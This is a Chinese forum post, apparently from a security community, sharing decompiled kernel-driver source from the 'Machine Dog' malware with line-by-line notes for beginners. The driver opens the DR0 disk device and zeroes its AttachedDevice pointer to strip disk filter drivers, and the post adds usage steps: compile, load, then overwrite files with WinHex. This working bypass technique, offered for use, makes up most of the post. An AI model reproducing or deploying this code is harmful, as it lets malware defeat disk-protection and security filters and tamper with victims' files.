这个源代码是我反汇编第一代机器狗的,很老了,很适合我们新手。
其实我早就在看雪上注册了一个ID,不常用,但忘了是什么名了,这个月买了电脑,就从新注册个ID吧。(目的还是为了取得注册码,废话到此为止)
#include <ntddk.h>
(1)#define DR0_DEVICE_NAME "\\Device\\Harddisk0\\DR0"
NTSTATUS
(2)DriverEntry(
IN OUT PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
(3) NTSTATUS ntStatus;
PDEVICE_OBJECT DRO_DeviceObject = NULL; // ptr to device object
PFILE_OBJECT DRO_FileObject;
ANSI_STRING SourceString;
UNICODE_STRING DRO_DeviceName;
(4) RtlInitAnsiString(&SourceString, DR0_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&DRO_DeviceName, &SourceString, TRUE);
(5)IoGetDeviceObjectPointer(&DRO_DeviceName, 0x80,&DRO_FileObject, &DRO_DeviceObject);
(6)DRO_FileObject->DeviceObject->AttachedDevice=0;
(7)return STATUS_SUCCESS;
}
使用说明:~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
将其编译成驱动,加载,就OK了,ring3层就用WinHex改写文件吧。
注释:~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~·
由于给新手看(包括我),我注释详细点
(1)定义硬盘连接符,这个是windows系统的;
(2)驱动入口函数;
(3)定义许多变量;
(4)初始化字符串;
(5)根据设备名,取得驱动的文件对象和设备对象;
(6)把文件对象的设备对象的附加对象清零,穿透完成;
(7)不管如何,返回成功。
我来说说:~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
机器狗是2009年的毒王,大家都很关注,所以弄这个来
原理是:
以前的文件过滤驱动都是调用IoAttachDevice来附加驱动的,其最终会在要附加的驱动的对象的附加对象上填上驱动的对象,将其清零就可以了,非常简单。
字数贵精不贵多,祝看雪多出大牛,谢谢!
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课